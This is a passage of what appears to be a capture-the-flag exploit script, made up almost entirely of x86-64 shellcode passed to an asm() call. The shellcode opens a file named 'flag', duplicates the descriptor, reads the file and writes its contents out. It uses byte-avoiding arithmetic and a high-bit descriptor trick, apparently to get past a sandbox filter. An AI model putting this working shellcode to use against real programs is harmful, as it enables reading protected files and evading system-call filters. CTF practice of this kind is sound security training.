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| asm(
'''
sub rsp, 0x2000
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov rcx, 0x8000000000000000
add rdi, rcx
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov esi, 0
mov eax, 33
syscall ;// dup2
mov edi, 0
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
mov rcx, 0x8000000000000000
add rdi, rcx
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
'''))
|
